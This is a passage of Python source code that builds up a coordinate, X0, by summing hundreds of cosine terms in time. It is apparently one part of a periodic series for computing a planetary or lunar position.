X0 += 0.00000008904 * math.cos(4.30824949636 + 399.9214293244 * self.t)
X0 += 0.00000008050 * math.cos(0.14722556593 + 143.8691237849 * self.t)
X0 += 0.00000009102 * math.cos(4.77518241515 + 348.17644063891 * self.t)
X0 += 0.00000007137 * math.cos(1.26110622464 + 117.5636857037 * self.t)
X0 += 0.00000007076 * math.cos(3.19957487812 + 26.84351789039 * self.t)
X0 += 0.00000008418 * math.cos(1.48515415206 + 77.73372903651 * self.t)
X0 += 0.00000008257 * math.cos(4.44435970504 + 117.77862615229 * self.t)
X0 += 0.00000007868 * math.cos(5.07706724776 + 288.4912678276 * self.t)
X0 += 0.00000008093 * math.cos(0.41458983168 + 1692.40948698591 * self.t)
X0 += 0.00000006910 * math.cos(0.44789832682 + 216.72430665921 * self.t)
X0 += 0.00000007092 * math.cos(0.01337002281 + 452.65981147369 * self.t)
X0 += 0.00000007060 * math.cos(1.93108090539 + 453.7023411973 * self.t)
X0 += 0.00000008233 * math.cos(3.50880140177 + 480.00777927849 * self.t)
X0 += 0.00000006772 * math.cos(4.46250089888 + 210.36151918381 * self.t)
X0 += 0.00000007025 * math.cos(1.42668370417 + 55.9029609396 * self.t)
X0 += 0.00000008356 * math.cos(2.10000097648 + 95.7354097343 * self.t)
X0 += 0.00000007404 * math.cos(1.00293545057 + 75.2860484817 * self.t)
X0 += 0.00000006839 * math.cos(0.99943444853 + 41.5125548767 * self.t)
X0 += 0.00000007909 * math.cos(1.64368221183 + 36.63174798211 * self.t)
X0 += 0.00000007909 * math.cos(2.69690505451 + 40.12195826051 * self.t)
X0 += 0.00000006362 * math.cos(0.26347531595 + 29.99128173331 * self.t)
X0 += 0.00000006712 * math.cos(0.84138813413 + 133.82026126229 * self.t)
X0 += 0.00000007571 * math.cos(2.81738238064 + 23.707816135 * self.t)
X0 += 0.00000006677 * math.cos(0.10164158344 + 1.20702533 * self.t)
X0 += 0.00000007600 * math.cos(0.07294781428 + 494.2348732801 * self.t)
X0 += 0.00000008009 * math.cos(0.39086308190 + 170.72945662269 * self.t)
X0 += 0.00000007584 * math.cos(6.04989436828 + 119.2630988606 * self.t)
X0 += 0.00000006599 * math.cos(2.25520576507 + 32.226513967 * self.t)
X0 += 0.00000006085 * math.cos(4.97064703625 + 322.00412900171 * self.t)
X0 += 0.00000005953 * math.cos(2.49854544351 + 52214.1831362697 * self.t)
X0 += 0.00000007827 * math.cos(3.28593277837 + 474.7030278917 * self.t)
X0 += 0.00000007907 * math.cos(4.46293464979 + 485.63685357099 * self.t)
X0 += 0.00000007372 * math.cos(4.88712847504 + 55.05162767771 * self.t)
X0 += 0.00000006966 * math.cos(5.60552242454 + 647.25465079831 * self.t)
X0 += 0.00000006266 * math.cos(5.78133779594 + 177.0611063308 * self.t)
X0 += 0.00000005900 * math.cos(4.92602771915 + 52061.16335875149 * self.t)
X0 += 0.00000006221 * math.cos(2.35523958706 + 602.00806815971 * self.t)
X0 += 0.00000005552 * math.cos(5.87735995607 + 223.1041404771 * self.t)
X0 += 0.00000005976 * math.cos(1.83099110545 + 10.8018827804 * self.t)
X0 += 0.00000007600 * math.cos(5.33804556108 + 488.6057989876 * self.t)
X0 += 0.00000006831 * math.cos(0.04615498459 + 1582.2031657665 * self.t)
X0 += 0.00000005654 * math.cos(3.04032114806 + 12604.5285531041 * self.t)
X0 += 0.00000005798 * math.cos(1.13675043219 + 27.4979091962 * self.t)
X0 += 0.00000007216 * math.cos(0.18192294134 + 739.0410923221 * self.t)
X0 += 0.00000006579 * math.cos(3.94809746775 + 2.69149803831 * self.t)
X0 += 0.00000005758 * math.cos(2.82344188087 + 30.0394658431 * self.t)
X0 += 0.00000005270 * math.cos(3.46743079634 + 6166.94845288619 * self.t)
X0 += 0.00000007398 * math.cos(0.58333334375 + 709.721016842 * self.t)
X0 += 0.00000005679 * math.cos(5.91776083103 + 17.22740858061 * self.t)
X0 += 0.00000005205 * math.cos(2.61017638124 + 426.3543733925 * self.t)
X0 += 0.00000005146 * math.cos(0.81172664742 + 46.7624245093 * self.t)
X0 += 0.00000005694 * math.cos(2.94913098744 + 168.98435148349 * self.t)
X0 += 0.00000006627 * math.cos(6.07668723879 + 221.13203280179 * self.t)
X0 += 0.00000005443 * math.cos(4.34867602386 + 525.7419968841 * self.t)
X0 += 0.00000006475 * math.cos(2.52364293984 + 591.07424248041 * self.t)
X0 += 0.00000004984 * math.cos(4.89088409053 + 10097.15814910579 * self.t)
X0 += 0.00000005318 * math.cos(5.22697316848 + 44.52719227561 * self.t)
X0 += 0.00000006699 * math.cos(2.95047965393 + 2157.1407134997 * self.t)
X0 += 0.00000006443 * math.cos(5.65068156930 + 675.0445615878 * self.t)
X0 += 0.00000005078 * math.cos(0.96513123174 + 101.62511645769 * self.t)
X0 += 0.00000005394 * math.cos(0.88948762211 + 368.21391948681 * self.t)
X0 += 0.00000005072 * math.cos(2.52597530610 + 272.33775813299 * self.t)
X0 += 0.00000005208 * math.cos(4.53150187093 + 277.2788112249 * self.t)
X0 += 0.00000005332 * math.cos(1.28621962216 + 280.9357778421 * self.t)
X0 += 0.00000005989 * math.cos(5.89271411050 + 93.0270967486 * self.t)
X0 += 0.00000006329 * math.cos(0.49570607842 + 18.87863762769 * self.t)
X0 += 0.00000005551 * math.cos(2.57045763275 + 57.3874336479 * self.t)
X0 += 0.00000006471 * math.cos(0.04463535540 + 68.1243173711 * self.t)
X0 += 0.00000004708 * math.cos(2.23921095477 + 95.68722562449 * self.t)
X0 += 0.00000005891 * math.cos(5.96441381591 + 381.5954257209 * self.t)
X0 += 0.00000004717 * math.cos(4.31682479516 + 104.2852453336 * self.t)
X0 += 0.00000005675 * math.cos(1.71229301179 + 1165.6392831981 * self.t)
X0 += 0.00000005888 * math.cos(0.43219504278 + 42.34263627919 * self.t)
X0 += 0.00000005587 * math.cos(4.09170092519 + 459.6066021357 * self.t)
X0 += 0.00000005456 * math.cos(1.50864831442 + 75.50098893029 * self.t)
X0 += 0.00000005940 * math.cos(6.28075673596 + 6318.4837576961 * self.t)
X0 += 0.00000005207 * math.cos(4.55134069280 + 436.5699922539 * self.t)
X0 += 0.00000006160 * math.cos(4.76046448210 + 749.82616015511 * self.t)
X0 += 0.00000006137 * math.cos(4.59348226478 + 713.17759722561 * self.t)
X0 += 0.00000004547 * math.cos(2.39218547281 + 32.47259218289 * self.t)
X0 += 0.00000005246 * math.cos(4.97888240032 + 109.9625037359 * self.t)
X0 += 0.00000005244 * math.cos(2.33674770879 + 73.5891274523 * self.t)
X0 += 0.00000005572 * math.cos(6.12038028190 + 102.11275142471 * self.t)
X0 += 0.00000005638 * math.cos(1.42053892188 + 10248.6934539157 * self.t)
X0 += 0.00000004513 * math.cos(1.62848698862 + 1272.9248431107 * self.t)
X0 += 0.00000004340 * math.cos(2.36449866810 + 384.02855206069 * self.t)
X0 += 0.00000004263 * math.cos(4.24631269159 + 1577.52274510549 * self.t)
X0 += 0.00000005964 * math.cos(4.92643136579 + 786.47472308461 * self.t)
X0 += 0.00000004962 * math.cos(6.09839378254 + 257.78059573129 * self.t)
X0 += 0.00000005327 * math.cos(5.70215230442 + 107.74182571721 * self.t)
X0 += 0.00000005572 * math.cos(0.87438107795 + 291.2934569054 * self.t)
X0 += 0.00000004336 * math.cos(5.80113193852 + 53.40958840249 * self.t)
X0 += 0.00000004427 * math.cos(3.00157250839 + 189.42452296421 * self.t)
X0 += 0.00000004157 * math.cos(3.46647899628 + 29.5036467663 * self.t)
X0 += 0.00000004646 * math.cos(2.87774169214 + 13285.93981804009 * self.t)
X0 += 0.00000005507 * math.cos(4.27464738844 + 178.11819026941 * self.t)
X0 += 0.00000005348 * math.cos(1.42468292991 + 24.88347230261 * self.t)
X0 += 0.00000005339 * math.cos(3.91840662285 + 314.6635794648 * self.t)
X0 += 0.00000004678 * math.cos(4.43608792406 + 1474.4299708869 * self.t)
X0 += 0.00000004090 * math.cos(3.35633664186 + 765.3801602981 * self.t)
X0 += 0.00000005008 * math.cos(5.85701520659 + 352.06040979221 * self.t)
X0 += 0.00000005562 * math.cos(0.40887335705 + 6248.1555772537 * self.t)
X0 += 0.00000004983 * math.cos(3.16236150253 + 1055.43296197871 * self.t)
X0 += 0.00000004566 * math.cos(5.25700629292 + 325.1398307571 * self.t)
X0 += 0.00000005327 * math.cos(5.25347269162 + 439.53893767049 * self.t)
X0 += 0.00000005121 * math.cos(5.84825704577 + 711.6931245173 * self.t)
X0 += 0.00000004181 * math.cos(1.11749590962 + 6606.1994373488 * self.t)
X0 += 0.00000004293 * math.cos(4.65873798886 + 46.71424039951 * self.t)
X0 += 0.00000005532 * math.cos(0.53479774781 + 320.03202132639 * self.t)
X0 += 0.00000004492 * math.cos(0.09912827297 + 52177.53457334019 * self.t)
X0 += 0.00000004312 * math.cos(1.38883413817 + 22.8777347325 * self.t)
X0 += 0.00000005332 * math.cos(1.83070192574 + 10178.3652734733 * self.t)
X0 += 0.00000004593 * math.cos(0.14820750962 + 1025.6854977289 * self.t)
X0 += 0.00000005439 * math.cos(5.09447580219 + 823.12328601411 * self.t)
X0 += 0.00000003870 * math.cos(4.27995377915 + 1596.43025976811 * self.t)
X0 += 0.00000003892 * math.cos(2.11564791977 + 226.07308589371 * self.t)
X0 += 0.00000004891 * math.cos(2.80814026706 + 8.1417539045 * self.t)
X0 += 0.00000004689 * math.cos(3.52062924653 + 276.79117625789 * self.t)
X0 += 0.00000004268 * math.cos(2.59269427473 + 374.15181032 * self.t)
X0 += 0.00000003828 * math.cos(2.28076604659 + 2138.2331988371 * self.t)
X0 += 0.00000004592 * math.cos(3.87527577295 + 1376.0176173293 * self.t)
X0 += 0.00000004629 * math.cos(0.97709160917 + 122.71967924421 * self.t)
X0 += 0.00000003871 * math.cos(3.17548325596 + 531.4192552864 * self.t)
X0 += 0.00000004995 * math.cos(0.32063762943 + 32.69959471901 * self.t)
X0 += 0.00000004711 * math.cos(0.43748317622 + 52252.31617190749 * self.t)
X0 += 0.00000003893 * math.cos(0.12475334110 + 116.294153444 * self.t)
X0 += 0.00000004481 * math.cos(4.66479841820 + 53.0458901076 * self.t)
X0 += 0.00000004136 * math.cos(2.59386926777 + 503.1080796351 * self.t)
X0 += 0.00000004508 * math.cos(4.38574998818 + 562.12992738271 * self.t)
X0 += 0.00000005025 * math.cos(0.39865233659 + 283.38345839689 * self.t)
X0 += 0.00000004789 * math.cos(2.68692249791 + 627.7228054099 * self.t)
X0 += 0.00000004021 * math.cos(0.14454426922 + 6603.23049193219 * self.t)
X0 += 0.00000005163 * math.cos(4.77460676620 + 25519.83532335829 * self.t)
X0 += 0.00000004150 * math.cos(3.86319541901 + 27.443027442 * self.t)
X0 += 0.00000003623 * math.cos(2.29457319711 + 1665.5827840429 * self.t)
X0 += 0.00000004634 * math.cos(1.79141170909 + 3227.45397501119 * self.t)
X0 += 0.00000004060 * math.cos(6.21658618282 + 304.4780211834 * self.t)
X0 += 0.00000003862 * math.cos(0.50812728673 + 74.504151189 * self.t)
X0 += 0.00000003561 * math.cos(4.92971224760 + 358.6526919312 * self.t)
X0 += 0.00000004557 * math.cos(6.27521064672 + 25974.74468988559 * self.t)
X0 += 0.00000004264 * math.cos(1.56884112199 + 634.93941827469 * self.t)
X0 += 0.00000004482 * math.cos(1.70550805319 + 342.61105682121 * self.t)
X0 += 0.00000003539 * math.cos(0.56907944763 + 119.7507338276 * self.t)
X0 += 0.00000004304 * math.cos(0.63784646457 + 12567.8799901746 * self.t)
X0 += 0.00000004138 * math.cos(4.03567139847 + 107.2541907502 * self.t)
X0 += 0.00000004284 * math.cos(0.05420881503 + 294.42915866079 * self.t)
X0 += 0.00000003723 * math.cos(5.58644401851 + 987.325459555 * self.t)
X0 += 0.00000003723 * math.cos(5.58644401851 + 987.813094522 * self.t)
X0 += 0.00000004606 * math.cos(5.49553530451 + 14.42521950279 * self.t)
X0 += 0.00000004236 * math.cos(6.22240593144 + 155.9116617901 * self.t)
X0 += 0.00000004458 * math.cos(2.64590572483 + 395.8225197225 * self.t)
X0 += 0.00000004798 * math.cos(5.23929868658 + 530.195415009 * self.t)
X0 += 0.00000003640 * math.cos(2.22734915897 + 2564.8313897131 * self.t)
X0 += 0.00000003563 * math.cos(5.37459598926 + 12451.50877558589 * self.t)
X0 += 0.00000003443 * math.cos(2.13809774331 + 245.2504227591 * self.t)
X0 += 0.00000003429 * math.cos(4.73423412994 + 530.0466571627 * self.t)
X0 += 0.00000003872 * math.cos(4.09217464449 + 308.98632106249 * self.t)
X0 += 0.00000003406 * math.cos(5.88979864779 + 529.82290799351 * self.t)
X0 += 0.00000004348 * math.cos(1.52419659995 + 20311.92816802509 * self.t)
X0 += 0.00000004589 * math.cos(5.24153025487 + 181.08713568601 * self.t)
X0 += 0.00000003854 * math.cos(5.92510183178 + 12564.91104475801 * self.t)
X0 += 0.00000003789 * math.cos(4.29351893525 + 3101.6359018085 * self.t)
X0 += 0.00000003783 * math.cos(0.26936683978 + 1614.17130803499 * self.t)
X0 += 0.00000003904 * math.cos(0.00421090422 + 369.8014580591 * self.t)
X0 += 0.00000003765 * math.cos(4.70889835066 + 1025.94613015981 * self.t)
X0 += 0.00000004231 * math.cos(5.35914297519 + 31.52393855141 * self.t)
X0 += 0.00000004303 * math.cos(4.97345150272 + 396.785727569 * self.t)
X0 += 0.00000004085 * math.cos(1.80921070558 + 14.47091148511 * self.t)
X0 += 0.00000004085 * math.cos(1.80921070558 + 13.9832765181 * self.t)
X0 += 0.00000003346 * math.cos(4.91522066963 + 20351.54567637119 * self.t)
X0 += 0.00000004021 * math.cos(6.08537487228 + 748.3416874468 * self.t)
X0 += 0.00000003753 * math.cos(1.17204243376 + 524.99372948619 * self.t)
X0 += 0.00000003935 * math.cos(1.24122122244 + 1617.14025345159 * self.t)
X0 += 0.00000004432 * math.cos(3.45778366813 + 511.3515908212 * self.t)
X0 += 0.00000004170 * math.cos(4.42864444413 + 274.87931477991 * self.t)
X0 += 0.00000003317 * math.cos(1.79347554880 + 266.70868384049 * self.t)
X0 += 0.00000004545 * math.cos(4.56531161641 + 244.5624015585 * self.t)
X0 += 0.00000003589 * math.cos(1.55384880430 + 59.526297662 * self.t)
X0 += 0.00000003464 * math.cos(0.37736158688 + 102.27950776349 * self.t)
X0 += 0.00000004526 * math.cos(4.55402483522 + 525.7901809939 * self.t)
X0 += 0.00000004603 * math.cos(4.40260765490 + 26088.1469590577 * self.t)
X0 += 0.00000004021 * math.cos(5.38581853850 + 52174.56562792359 * self.t)
X0 += 0.00000003276 * math.cos(1.95663025139 + 1306.3774580875 * self.t)
X0 += 0.00000003214 * math.cos(3.94235488355 + 20348.57673095459 * self.t)
X0 += 0.00000003706 * math.cos(5.25360971143 + 27.07052042651 * self.t)
X0 += 0.00000003759 * math.cos(4.32245166720 + 164.83974989929 * self.t)
X0 += 0.00000003184 * math.cos(2.01654309849 + 538.0115374254 * self.t)
X0 += 0.00000004430 * math.cos(5.37917502758 + 529.6741501472 * self.t)
X0 += 0.00000004064 * math.cos(1.03322736236 + 6130.2998899567 * self.t)
X0 += 0.00000003918 * math.cos(4.20575585414 + 375.43053235159 * self.t)
X0 += 0.00000004058 * math.cos(5.13313296042 + 433.4342904985 * self.t)
X0 += 0.00000003919 * math.cos(0.36694469487 + 1092.8177302186 * self.t)
X0 += 0.00000003919 * math.cos(0.36694469487 + 1093.3053651856 * self.t)
X0 += 0.00000003175 * math.cos(1.14568678321 + 241.3664536058 * self.t)
X0 += 0.00000003135 * math.cos(5.81037649777 + 127.22797912329 * self.t)
X0 += 0.00000003834 * math.cos(1.84941829775 + 14.3133449182 * self.t)
X0 += 0.00000004022 * math.cos(1.72079825603 + 1477.8383671607 * self.t)
X0 += 0.00000003221 * math.cos(1.09261076661 + 78.1611178062 * self.t)
X0 += 0.00000003426 * math.cos(0.06166201047 + 519.8522901607 * self.t)
X0 += 0.00000004369 * math.cos(0.74973637733 + 746.3695797715 * self.t)
X0 += 0.00000003160 * math.cos(2.01821245093 + 664.99569906519 * self.t)
X0 += 0.00000004060 * math.cos(6.06087716530 + 51.87023394 * self.t)
X0 += 0.00000003107 * math.cos(5.38240469077 + 28.9275001503 * self.t)
X0 += 0.00000003259 * math.cos(5.62260974194 + 657.8821520644 * self.t)
X0 += 0.00000003428 * math.cos(1.24133782529 + 2351.5322942751 * self.t)
X0 += 0.00000003235 * math.cos(1.64692472660 + 406.3469551246 * self.t)
X0 += 0.00000003161 * math.cos(5.69758725685 + 982.8720414301 * self.t)
X0 += 0.00000004351 * math.cos(1.04662835997 + 20388.19423930069 * self.t)
X0 += 0.00000003384 * math.cos(0.30649784029 + 660.851097481 * self.t)
X0 += 0.00000003452 * math.cos(4.39659352485 + 326.1823604807 * self.t)
X0 += 0.00000003298 * math.cos(0.15489069807 + 1403.84115801359 * self.t)
X0 += 0.00000003278 * math.cos(3.68945780931 + 941.7700603757 * self.t)
X0 += 0.00000003723 * math.cos(5.00962048402 + 451.9572360581 * self.t)
X0 += 0.00000003173 * math.cos(5.46640783518 + 1400.87221259699 * self.t)
X0 += 0.00000004113 * math.cos(1.87439213951 + 1049.31625271919 * self.t)
X0 += 0.00000004012 * math.cos(2.15082049909 + 52.6039471229 * self.t)
X0 += 0.00000004142 * math.cos(4.89782789900 + 978.6792557361 * self.t)
X0 += 0.00000004295 * math.cos(1.37302733197 + 875.58648151749 * self.t)
X0 += 0.00000003224 * math.cos(3.81995287471 + 459.1189671687 * self.t)
X0 += 0.00000003151 * math.cos(3.69005421605 + 381.8560581518 * self.t)
X0 += 0.00000003633 * math.cos(1.38559724652 + 256.78375799 * self.t)
X0 += 0.00000004250 * math.cos(0.10595516218 + 528.71094230071 * self.t)
X0 += 0.00000004186 * math.cos(2.09187651842 + 943.25453308399 * self.t)
X0 += 0.00000003406 * math.cos(0.25126866750 + 170.46882419179 * self.t)
X0 += 0.00000003231 * math.cos(4.61367643853 + 400.8209466961 * self.t)
X0 += 0.00000003726 * math.cos(0.55318715397 + 1096.48675892331 * self.t)
X0 += 0.00000003792 * math.cos(0.75464081409 + 111.9346114112 * self.t)
X0 += 0.00000003651 * math.cos(4.56933341620 + 154.42718908179 * self.t)
X0 += 0.00000003839 * math.cos(2.45649426115 + 10060.50958617629 * self.t)
X0 += 0.00000003356 * math.cos(0.62546125542 + 1586.34776735071 * self.t)
X0 += 0.00000003219 * math.cos(5.97786590701 + 213.7096692603 * self.t)
X0 += 0.00000003671 * math.cos(1.51743688101 + 57.6023740965 * self.t)
X0 += 0.00000004187 * math.cos(0.29242250575 + 2772.54460848389 * self.t)
X0 += 0.00000002960 * math.cos(2.20142019667 + 2461.7386154945 * self.t)
X0 += 0.00000003331 * math.cos(0.81281655951 + 10133.80671203529 * self.t)
X0 += 0.00000003341 * math.cos(1.17831577639 + 243.7659500508 * self.t)
X0 += 0.00000003466 * math.cos(4.73891819304 + 1150.92455422949 * self.t)
X0 += 0.00000003296 * math.cos(3.49817757911 + 1653.78881638109 * self.t)
X0 += 0.00000003014 * math.cos(1.90092216670 + 1477.3989163035 * self.t)
X0 += 0.00000004118 * math.cos(2.83150543771 + 25596.5890296009 * self.t)
X0 += 0.00000002951 * math.cos(5.04298380276 + 42.78208713641 * self.t)
X0 += 0.00000002951 * math.cos(5.58078877076 + 33.9716191062 * self.t)
X0 += 0.00000003830 * math.cos(4.59720174528 + 323.48860171 * self.t)
X0 += 0.00000003313 * math.cos(1.64840054600 + 939.1099314998 * self.t)
X0 += 0.00000003031 * math.cos(2.75126158832 + 156450.90896068608 * self.t)
X0 += 0.00000003606 * math.cos(3.92819651217 + 1082.2596649217 * self.t)
X0 += 0.00000002967 * math.cos(0.01380556143 + 6.3941566378 * self.t)
X0 += 0.00000002995 * math.cos(3.55729257964 + 139.7099679857 * self.t)
X0 += 0.00000003251 * math.cos(3.50186784018 + 709.29362807231 * self.t)
X0 += 0.00000003480 * math.cos(0.61716473120 + 518.1408149163 * self.t)
X0 += 0.00000003906 * math.cos(2.84871380483 + 1119.90506559249 * self.t)
X0 += 0.00000003406 * math.cos(1.85522558472 + 148.79811478929 * self.t)
X0 += 0.00000003359 * math.cos(1.74239209634 + 642.8494167832 * self.t)
X0 += 0.00000003027 * math.cos(0.29741383095 + 184.0078969928 * self.t)
X0 += 0.00000002918 * math.cos(2.25866029656 + 83.6234357599 * self.t)
X0 += 0.00000003347 * math.cos(6.10666820526 + 217.68751450571 * self.t)
X0 += 0.00000003277 * math.cos(0.27333269638 + 912.5438609877 * self.t)
X0 += 0.00000003277 * math.cos(0.27333269638 + 913.03149595471 * self.t)
X0 += 0.00000003196 * math.cos(5.84286985933 + 363.1061100561 * self.t)
X0 += 0.00000002869 * math.cos(4.50334436600 + 285.35556607221 * self.t)
X0 += 0.00000003158 * math.cos(1.18152957041 + 540.01727499551 * self.t)
X0 += 0.00000002810 * math.cos(5.14802919795 + 1592.2856581839 * self.t)
X0 += 0.00000003471 * math.cos(6.13160952457 + 144.39038864671 * self.t)
X0 += 0.00000003159 * math.cos(4.14451339136 + 197.5561595657 * self.t)
X0 += 0.00000003227 * math.cos(5.73841253304 + 6203.5970158157 * self.t)
X0 += 0.00000003750 * math.cos(5.81139240481 + 303.35724676999 * self.t)
X0 += 0.00000003848 * math.cos(3.38110828764 + 26048.04181574459 * self.t)
X0 += 0.00000002741 * math.cos(1.70084306406 + 70.8326303568 * self.t)
X0 += 0.00000002826 * math.cos(2.07742210458 + 460.2946233363 * self.t)
X0 += 0.00000002748 * math.cos(0.98378370701 + 600.52359545141 * self.t)
X0 += 0.00000003057 * math.cos(6.13629771077 + 23.81969071961 * self.t)
X0 += 0.00000003057 * math.cos(1.34588220916 + 52.934015523 * self.t)
X0 += 0.00000003446 * math.cos(3.54046646150 + 500.1391342185 * self.t)
X0 += 0.00000002703 * math.cos(4.69192633180 + 908.0904428628 * self.t)
X0 += 0.00000002817 * math.cos(3.26718539283 + 210.6221516147 * self.t)
X0 += 0.00000002848 * math.cos(5.88127781412 + 450.4727633498 * self.t)
X0 += 0.00000002724 * math.cos(0.93671586048 + 23.18655127321 * self.t)
X0 += 0.00000002905 * math.cos(5.85039527890 + 149.3193796511 * self.t)
X0 += 0.00000002848 * math.cos(6.20081143930 + 622.66987773339 * self.t)
X0 += 0.00000002733 * math.cos(3.50715759295 + 262.72164882321 * self.t)
X0 += 0.00000002863 * math.cos(0.69834580836 + 175.57663362249 * self.t)
X0 += 0.00000002681 * math.cos(1.11809511751 + 25.1922888433 * self.t)
X0 += 0.00000002822 * math.cos(1.57963221264 + 259.7527034066 * self.t)
X0 += 0.00000003174 * math.cos(6.18541771069 + 347.1193567003 * self.t)
X0 += 0.00000003271 * math.cos(1.40248413653 + 458.5977023069 * self.t)
X0 += 0.00000002894 * math.cos(4.18128306427 + 71.82946809809 * self.t)
X0 += 0.00000003490 * math.cos(2.85083291634 + 664.3713683394 * self.t)
X0 += 0.00000003506 * math.cos(5.48691285949 + 771.3481117113 * self.t)
X0 += 0.00000003326 * math.cos(2.12303698267 + 45.2297676912 * self.t)
X0 += 0.00000002988 * math.cos(0.23324807191 + 299.37021175271 * self.t)
X0 += 0.00000002916 * math.cos(3.60780287924 + 6642.8480002783 * self.t)
X0 += 0.00000002916 * math.cos(0.46621022565 + 6643.3356352453 * self.t)
X0 += 0.00000002630 * math.cos(1.12694509764 + 2751.79141717511 * self.t)
X0 += 0.00000002903 * math.cos(4.31055308658 + 477.08701797169 * self.t)
X0 += 0.00000002804 * math.cos(0.26456593020 + 6681.46867088311 * self.t)
X0 += 0.00000002622 * math.cos(2.30179163581 + 521.8580277308 * self.t)
X0 += 0.00000002606 * math.cos(6.15707729666 + 410.8552550037 * self.t)
X0 += 0.00000003046 * math.cos(2.36386768037 + 959.45373476091 * self.t)
X0 += 0.00000003127 * math.cos(3.04512463308 + 225.5518210319 * self.t)
X0 += 0.00000002700 * math.cos(4.45467896965 + 963.6465204549 * self.t)
X0 += 0.00000002778 * math.cos(1.65860124839 + 238.39750818919 * self.t)
X0 += 0.00000003029 * math.cos(4.72630934575 + 473.2185551834 * self.t)
X0 += 0.00000002671 * math.cos(4.60029996028 + 531.9405201482 * self.t)
X0 += 0.00000002914 * math.cos(3.86169076602 + 554.31380496631 * self.t)
X0 += 0.00000003087 * math.cos(6.08851917121 + 340.2664421304 * self.t)
X0 += 0.00000003438 * math.cos(2.32466413132 + 6171.40187101109 * self.t)
X0 += 0.00000002879 * math.cos(5.61809470376 + 218.6507223522 * self.t)
X0 += 0.00000003140 * math.cos(5.02001385281 + 609.1216151605 * self.t)
X0 += 0.00000003003 * math.cos(0.53592571188 + 464.97504399731 * self.t)
X0 += 0.00000003257 * math.cos(1.52476284257 + 305.96249389171 * self.t)
X0 += 0.00000003211 * math.cos(5.64833047248 + 416.532513406 * self.t)
X0 += 0.00000003265 * math.cos(1.54950325507 + 24.7347144563 * self.t)
X0 += 0.00000002644 * math.cos(1.01963899758 + 508.5941415757 * self.t)
X0 += 0.00000002764 * math.cos(4.98225869197 + 410.59462257279 * self.t)
X0 += 0.00000003428 * math.cos(5.71088563789 + 1012.6195056799 * self.t)
X0 += 0.00000002614 * math.cos(4.07639961382 + 213.5910970313 * self.t)
X0 += 0.00000003469 * math.cos(5.28643352424 + 24.14975911971 * self.t)
X0 += 0.00000002606 * math.cos(0.81160096517 + 213.4947288117 * self.t)
X0 += 0.00000003444 * math.cos(2.56432157215 + 891.57323487331 * self.t)
X0 += 0.00000002540 * math.cos(4.32167771768 + 564.8718702632 * self.t)
X0 += 0.00000002540 * math.cos(4.32167771768 + 565.35950523021 * self.t)
X0 += 0.00000002754 * math.cos(2.69535555411 + 57.5541899867 * self.t)
X0 += 0.00000002531 * math.cos(0.59020723407 + 800.5924346291 * self.t)
X0 += 0.00000002557 * math.cos(0.66999256840 + 341.49028240779 * self.t)
X0 += 0.00000002601 * math.cos(4.54885591305 + 261.2371761149 * self.t)
X0 += 0.00000003027 * math.cos(0.20183300410 + 331.07772159029 * self.t)
X0 += 0.00000002494 * math.cos(0.58142193078 + 203.9816853659 * self.t)
X0 += 0.00000002590 * math.cos(1.76325981719 + 1190.5420625756 * self.t)
X0 += 0.00000003494 * math.cos(2.90876238684 + 534.0793841623 * self.t)
X0 += 0.00000003144 * math.cos(0.01981710217 + 1503.9649868156 * self.t)
X0 += 0.00000002818 * math.cos(3.61898449244 + 49.31067880061 * self.t)
X0 += 0.00000002791 * math.cos(4.48606671949 + 288.32451148881 * self.t)
X0 += 0.00000002471 * math.cos(1.23009614301 + 411.11588743459 * self.t)
X0 += 0.00000003059 * math.cos(3.30977686438 + 172.48911597691 * self.t)
X0 += 0.00000002972 * math.cos(0.30229231666 + 569.29165849331 * self.t)
X0 += 0.00000003418 * math.cos(5.40293550246 + 638.3959986583 * self.t)
X0 += 0.00000002541 * math.cos(4.99016167757 + 1448.09090291091 * self.t)
X0 += 0.00000002663 * math.cos(0.43151826022 + 573.6968925084 * self.t)
X0 += 0.00000002439 * math.cos(4.39632185677 + 1625.9652756968 * self.t)
X0 += 0.00000002739 * math.cos(5.72535305895 + 112.8832650427 * self.t)
X0 += 0.00000002821 * math.cos(5.66863744979 + 402.93606672331 * self.t)
X0 += 0.00000003412 * math.cos(1.27007980380 + 772.8325844196 * self.t)
X0 += 0.00000002624 * math.cos(5.85528852490 + 1624.4808029885 * self.t)
X0 += 0.00000003170 * math.cos(0.53682796950 + 1011.13503297159 * self.t)
X0 += 0.00000002908 * math.cos(4.60949958082 + 635.94831810351 * self.t)
X0 += 0.00000002664 * math.cos(2.68003479349 + 409.41896640519 * self.t)
X0 += 0.00000003091 * math.cos(1.88245278611 + 379.25961975071 * self.t)
X0 += 0.00000003301 * math.cos(1.91350932819 + 19.7936613644 * self.t)
X0 += 0.00000003176 * math.cos(3.29730129609 + 300.9095662152 * self.t)
X0 += 0.00000003022 * math.cos(5.94822554077 + 52.0189917863 * self.t)
X0 += 0.00000002890 * math.cos(1.53549747897 + 293.4323209195 * self.t)
X0 += 0.00000002698 * math.cos(1.69370735844 + 78149.06650032569 * self.t)
X0 += 0.00000002558 * math.cos(0.74578099458 + 1371.3371966683 * self.t)
X0 += 0.00000002619 * math.cos(3.80578981072 + 202.0095776906 * self.t)
X0 += 0.00000003176 * math.cos(3.75055063339 + 10101.61156723069 * self.t)
X0 += 0.00000003341 * math.cos(2.34080319182 + 345.8955164229 * self.t)
X0 += 0.00000002373 * math.cos(4.96475711609 + 130.8513158457 * self.t)
X0 += 0.00000002644 * math.cos(2.68099240015 + 305.10235190919 * self.t)
X0 += 0.00000003339 * math.cos(4.63303989765 + 2849.2983147265 * self.t)
X0 += 0.00000002410 * math.cos(1.58163612779 + 951.8525527931 * self.t)
X0 += 0.00000003303 * math.cos(2.25771292490 + 769.5729459921 * self.t)
X0 += 0.00000003302 * math.cos(4.85894681967 + 90.1520274241 * self.t)
X0 += 0.00000002416 * math.cos(6.00635580174 + 527.929045008 * self.t)
X0 += 0.00000002361 * math.cos(5.34789183737 + 905.1214974462 * self.t)
X0 += 0.00000002737 * math.cos(4.77190944455 + 1206.2199993907 * self.t)
X0 += 0.00000002441 * math.cos(3.82975575752 + 246.73489546739 * self.t)
X0 += 0.00000002441 * math.cos(0.68816310393 + 247.2225304344 * self.t)
X0 += 0.00000002957 * math.cos(4.25832811500 + 238.23075185041 * self.t)
X0 += 0.00000003263 * math.cos(0.98630889937 + 1506.93393223219 * self.t)
X0 += 0.00000003293 * math.cos(5.93270574395 + 66.1522096958 * self.t)
X0 += 0.00000003241 * math.cos(3.43806050184 + 978.4186233052 * self.t)
X0 += 0.00000003149 * math.cos(3.64971867049 + 271.9103693633 * self.t)
X0 += 0.00000003149 * math.cos(3.64971867050 + 271.4227343963 * self.t)
